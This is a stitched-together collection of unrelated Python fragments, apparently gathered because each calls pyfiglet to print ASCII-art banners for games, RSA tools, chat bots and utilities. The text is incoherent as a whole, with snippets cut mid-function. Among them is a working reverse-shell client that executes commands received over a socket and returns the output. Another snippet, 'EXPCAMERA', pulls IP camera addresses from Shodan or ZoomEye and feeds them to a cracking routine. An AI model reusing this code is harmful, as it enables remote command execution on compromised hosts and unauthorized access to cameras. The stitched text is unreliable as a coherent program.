input() end() def getRecentJournal(): global journal_path journal_files = glob.glob(ED_Journal_Folder + "\\*.log") journal_path = max(journal_files, key=os.path.getmtime) pygame.mixer.init() #style stuff fg.orange = Style(RgbFg(255, 90, 0)) fg.yellow = Style(RgbFg(255, 204, 0)) title_fig = pyfiglet.Figlet(font='big') journal_path = '' current_user_dir = os.path.expanduser("~") ED_Journal_Folder = '' songs_path = '' battle_songs_path = '' battle_songs_enabled = True in_battle = False docking_reminder = False song_selection_method = "Shuffle" song_volume = 0.15 next_song_keybind = "l" speaker = win32com.client.Dispatch("SAPI.SpVoice") speaker.Voice = speaker.GetVoices().Item(0)
import random, getpass, pyfiglet, time menyFel = False menyLoop = True spelare1Score = 0 spelare2Score = 0 datorScore = 0 spelareScore = 0 firstStart = 0 rundor = "" font = pyfiglet.Figlet(font="epic") spelare1Vann = font.renderText("Spelare1\nVann") spelare2Vann = font.renderText("Spelare2\nVann") spelareVann = font.renderText("Spelare\nVann") datorVann = font.renderText("Datorn\nVann") menyText = font.renderText("Sten\nSax\nPase") l8r = font.renderText("L8r\nKiddo") while True: while True: while menyLoop: någonVann = False vinst = 0 spelare1Score = 0 spelare2Score = 0 datorScore = 0 spelareScore = 0 rundor = "" if firstStart == 0: print(menyText) firstStart += 1 else: pass
def main(): os.system('tput clear') f = pyfiglet.Figlet(font='cybermedium') print(f.renderText('Reverse Shell')) print('\033[1m') print("Simplifies command execution on a system with reverse shell access") print('\033[0m') # Configuring the script to connect to the remote culprit system RHOST = 'localhost' RPORT = 8006 # Establihing connection with the remote system s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) # Receiving commands from the remote system currentDirectory = "./" while True: data1 = s.recv(4096) data = de(data1) test = data.decode() if test[:2] == 'cd': # print("Dir is:./"+currentDirectory+""+test.split()[1]) try: if os.path.isdir(currentDirectory + "" + test.split()[1]): currentDirectory += test.split()[1] + "/" # print('The current directory is:',currentDirectory) mess = 'Changed Directory~' else: mess = "No such dir~" mess = en(mess) s.send(mess) except: mess = en('Error...~') s.send(mess) # Executing the output using the subprocess lib else: # print("Current directory is:",currentDirectory) try: comm = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, cwd=currentDirectory) res1, res2 = comm.communicate() res = res1.decode() + '~' + res2.decode() # Sending the encoded data over the sockets res = en(res) s.send(res) # Simplified the currentDirectory variable comm1 = subprocess.Popen('pwd', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, cwd=currentDirectory) es1, es2 = comm1.communicate() currentDirectory = es1.decode()[:len(es1.decode()) - 1] + '/' # print('Current dir now:',currentDirectory) except: res = en("Error...") s.send(res)
def intro(): subprocess.call(["clear"]) print('[+] L.I.T.T v1.0 by @L0WK3Y_IAANSEC [+]') custom_fig = pyfiglet.Figlet(font='isometric1') print(custom_fig.renderText("LITT")) time.sleep(2)
def banner(): f = pyfiglet.Figlet(font='slant') logo = f.renderText('Genisys') print(random.choice(colors) + logo + rs) print(f'{info}{lg} Genisys V2.1 by Cryptonian{rs}')
def banner(): f = pyfiglet.Figlet(font='slant') logo = f.renderText('Genisys') print(random.choice(colors) + logo + rs) print(f'{info}{g} Genisys Adder V2.1 by Cryptonian{rs}') print(f'{info}{g} Telegram- @Cryptonian_007{rs}\n')
def fig(res) -> str: f = pyfiglet.Figlet() if res is None: return f.renderText("NO ROOTS") return f.renderText(f"Root: {res}")
def fig(res): f = pyfiglet.Figlet() if res is None: return f.renderText("NO ROOTS") return f.renderText(f"\nRoot: {res:.5f}")
import time import os import pyfiglet def clear(): os.system('clear') string = 'D4sh4zi' a = pyfiglet.Figlet() for i in range(len(string) + 1): clear() print(a.renderText(string[:i])) time.sleep(0.5) for i in range(5): clear() print(a.renderText('*' * (len(string) - 1))) time.sleep(0.3) clear() print(a.renderText(string)) time.sleep(0.3)
from Cryptodome.Util.number import bytes_to_long, long_to_bytes import Crypto_module as Module from Crypto_module import clear from Cryptodome.Util import number as Crypto_Number from Cryptodome import Random as Crypto_Rand import traceback import pyfiglet #define ##Folder Private_file = 'key/RSA_private.key' Public_file = 'key/RSA_public.key' ##Variable bits = 60 custom_fig = pyfiglet.Figlet(font='standard') banner = custom_fig.renderText("* R S A T O O L *") #Function ##Function for key ###KeyE def ChooseE(n): """ This function for choose E. """ while True: e = Crypto_Number.getRandomRange(2,n) if(Module.gcd(e,n)==1): return e ###Private & Public key def ChooseKeys(choice=1,file=Private_file,file2=Public_file): """ This function generate pubic key and private key """
# Variables Defined etc. admins_location = "configs/admins.json" banned_location = "configs/banned.json" badword_location = "configs/badword.json" ad = open(admins_location, ) bn = open(banned_location, ) bw = open(badword_location, ) admins = json.load(ad) banned = json.load(bn) badwords = json.load(bw) prefix = config.prefix bot = commands.Bot(command_prefix=prefix, case_insensitive=True) bot.remove_command('help') bot.ascii_font = pyfiglet.Figlet(font='roman') version = "1.0.8" time = datetime.now() global_cooldown = config.Cooldown reddit = praw.Reddit(client_id=config.reddit_client_id, client_secret=config.reddit_client_secret, user_agent=config.reddit_user_agent, check_for_async=False) try: logging.basicConfig( filename=f"""logs/bot {time.strftime("%c")}.log""".replace( " ", "_").replace(":", "-"), format='%(levelname)s:%(message)s',
def __pf_render(s, f): return s if f is None else pyfiglet.Figlet(f).renderText(s)
# -*- coding: utf-8 -*- """!banner <text> [--font <font>] [-l] return a banner displaying <text>. Use the -l option to list available fonts""" import argparse import re import pyfiglet FIGLET = pyfiglet.Figlet() FONTS = FIGLET.getFonts() ARGPARSE = argparse.ArgumentParser() ARGPARSE.add_argument('--font') ARGPARSE.add_argument('-l', action='store_const', const=True) ARGPARSE.add_argument('bannertext', nargs='*') def make_banner(query): # Slack turns -- into an emdash; un-turn it query = query.replace(u"\u2014", u"--") ns = ARGPARSE.parse_args(query.split(" ")) if ns.l: return "```{0}```".format(", ".join(FONTS)) font = ns.font or "standard" if font not in FONTS: return "Unable to find font {0}".format(font) banner = pyfiglet.figlet_format(" ".join(ns.bannertext), font=font).rstrip() if not banner: return
import RSA as rsa import pyfiglet import Crypto_module as Module from Crypto_module import clear #Define Private_file = 'key/RSA_ds_private.key' Public_file = 'key/RSA_ds_public.key' custom_fig = pyfiglet.Figlet(font='standard', width=175) banner = custom_fig.renderText("R S A D I G I T A L S I G N E R T O O L") #Function ##Sign def sign_function(x, fl=Private_file): signed = None try: f = open(fl, 'r') except FileNotFoundError: print('Man! You not have file that have public key!') choice = None while choice == None: choice = input("Create(y/n)? ") if choice == 'y' or choice == 'yes': rsa.key_menu() else: print("Warning! An error coming! Force Quit!!!!") raise SystemExit else: n = int(f.readline()) d = int(f.readline()) f.close()
def banner(): f = pyfiglet.Figlet(font='slant') logo = f.renderText('Genisys') print(random.choice(colors) + logo + rs)
def test_time_figlet_print(): count = 202 font = pyfiglet.Figlet("doom") time_str = font.renderText("00:03:22") assert time_str == utils.time_figlet_print(font, count)
def fig(text): fig = pyfiglet.Figlet() return fig.renderText(text)
def welcome(): print(pyfiglet.Figlet(font='slant').renderText(' Wallpaper')) print("\nWelcome to Wallpaper modifier !") print( " Author: Valentin Le Lièvre \n Version: 0.1 \n License: MIT \n")
def on_call(self, message, *args, **kwargs): font = pyfiglet.Figlet() x = font.renderText(str(time.ctime()).split(" ")[3]) self.bot.send_Reply(message, "```"+x+"```")
def main(): #subprocess.Popen("clear",shell=True) fig = pyfiglet.Figlet('slant') HEADER = fig.renderText('EXPCAMERA') VERSION = 'version:0.9.5' WRITER = 'https://github.com/vanpersiexp' print(color.Headmagenta + HEADER) print(color.Headmagenta + VERSION.center(70)) print(color.Headmagenta + WRITER.center(70)) print(color.Defblue + "Press Ctrl+C to stop.") if args.shodan: try: if args.brand == 1: tmp_s = Scrapy(key=args.shodan, app='netwave') tmp_ip_list = tmp_s.shodan() crack(tmp_ip_list) if args.brand == 2: tmp_s = Scrapy(key=args.shodan, app='5ccc069c403ebaf9f0171e9517f40e41') tmp_ip_list = tmp_s.shodan() crack(tmp_ip_list) except Exception as e: print("The error occured:", e) print( "Pleas use python3 expcamera.py -h or ./expcamera.py -h for more help" ) elif args.zoomeye: try: p1, p2 = divmod(args.count, 20) page = p1 if p2 != 0: page += 1 for p in range(1, page + 1): if args.brand == 1: tmp_s = Scrapy(key=args.zoomeye, app='netwave', page=p) tmp_ip_list = tmp_s.zoomeye() if args.brand == 2: tmp_s = Scrapy(key=args.zoomeye, app='5ccc069c403ebaf9f0171e9517f40e41', page=p) tmp_ip_list = tmp_s.zoomeye() crack(tmp_ip_list) except Exception as e: print("The error occured:", e) print( "Pleas use python3 expcamera.py -h or ./expcamera.py -h for more help" ) elif args.inputfile: try: tmp_ip_list = [] with open(args.inputfile, 'r') as f: for i in f.readlines(): tmp_ip_list.append(i.strip()) crack(tmp_ip_list) except Exception as e: print("The error occured:%s" % e) print( "Pleas use python3 expcamera.py -h or ./expcamera.py -h for more help" ) elif args.ip: try: ip = args.ip.split(':')[0] port = args.ip.split(':')[-1] if args.brand == 1: inst = NWThread(ip=ip, port=port) if args.brand == 2: inst = GoAThread(ip=ip, port=port) inst.start() inst.join() except Exception as e: print("The error occured:%s" % e) print( "Pleas use python3 expcamera.py -h or ./expcamera.py -h for more help" ) else: print("Use python3 expcamera.py -h or ./expcamera.py -h for more help")
# A module to use the demos package import pyfiglet import demos.demo_logging as demo_logging # Instantiate Figlets for pretty text speed = pyfiglet.Figlet(font='speed') print_speed = lambda s: print(speed.renderText(s)) invita = pyfiglet.Figlet(font='invita') print_invita = lambda s: print(invita.renderText(s)) def run_logging_demo(): """ Execute functions in demos.demo_logging with some extra annotations """ # Display a header print_speed("Logging Demo") # Execute tutorial functions print_invita("The Basics") print("\n\nHere's what the demo is doing:\n\n") demo_logging.basic() print("\n\n") print_invita("Advanced") print("\n\nHere's what the demo is doing:\n\n") demo_logging.advanced() print("\n\n") print_invita("Config File")
def banner(): f = pyfiglet.Figlet(font='slant') logo = f.renderText('Genisys') print(random.choice(colors) + logo + rs) print(f'{info}{g} Genisys Adder[USERNAME] V2.5{rs}') print(f'{info}{g} Author: github.com/Cryptonian007{rs}\n')
def intro(): subprocess.call(["cls"], shell=True) print('[+] Toolbelt v1.0 by @L0WK3Y_IAANSEC [+]') custom_fig = pyfiglet.Figlet(font='isometric1') print(custom_fig.renderText("IAAN")) time.sleep(2)
from telethon.sync import TelegramClient from telethon.errors.rpcerrorlist import PhoneNumberBannedError import pickle import pyfiglet from colorama import init, Fore import os from time import sleep init() r = Fore.RED n = Fore.RESET lg = Fore.LIGHTGREEN_EX f = pyfiglet.Figlet(font='slant') banner = f.renderText('Genisys') print(r) print(banner) print(n) print('\n' + lg + 'Genisys Account Manager V2.1' + n) print('Author: Cryptonian | TG- @Cryptonian_007\n') sleep(4) def clr(): if os.name == 'nt': os.system('cls') else: os.system('clear') while True: clr()
def draw_text(font, text, width=80): """Simple wrapper for the main draw function""" return pyfiglet.Figlet(font=font, width=width).renderText(text)
def banner(): f = pyfiglet.Figlet(font='slant') logo = f.renderText('Genisys') print(random.choice(colors) + logo + rs) print(f'{r} Version: {w}2.5 {r}| Author: {w}Cryptonian{rs}')
def goodbye(): custom_fig = pyfiglet.Figlet(font='bulbhead') print(custom_fig.renderText('See you')) os.system('pause') sys.exit(0)
import pyfiglet import pathlib sample_text = "hello world!" fontdir = pathlib.Path(pyfiglet.__file__).parent.joinpath('fonts') fig = pyfiglet.Figlet(width=80 * 4) for fontfn in fontdir.glob('*.flf'): fontname, _, _ = fontfn.name.rpartition('.flf') try: fig.setFont(font=fontname) print(f'--- font: {fontname} ---') print(fig.renderText(sample_text)) except pyfiglet.FontNotFound: print(f'%%%%%% {fontname} not found!! %%%%%%')
def generate_captcha(): font = random_font() fg = pyfiglet.Figlet(font) code = generate_password(8,charset="ABCDEFGHIJKLMNOPQRSTUVWXYZ") captcha = fg.renderText(code) return captcha,code
def figlet(args,user="",hostmask="",extra={}): f = pyfiglet.Figlet(font='block') result = f.renderText(args) for i in result.split("\n"): if i.replace(" ","") != "": extra["ircsock"].sendmsg(extra["channel"],i)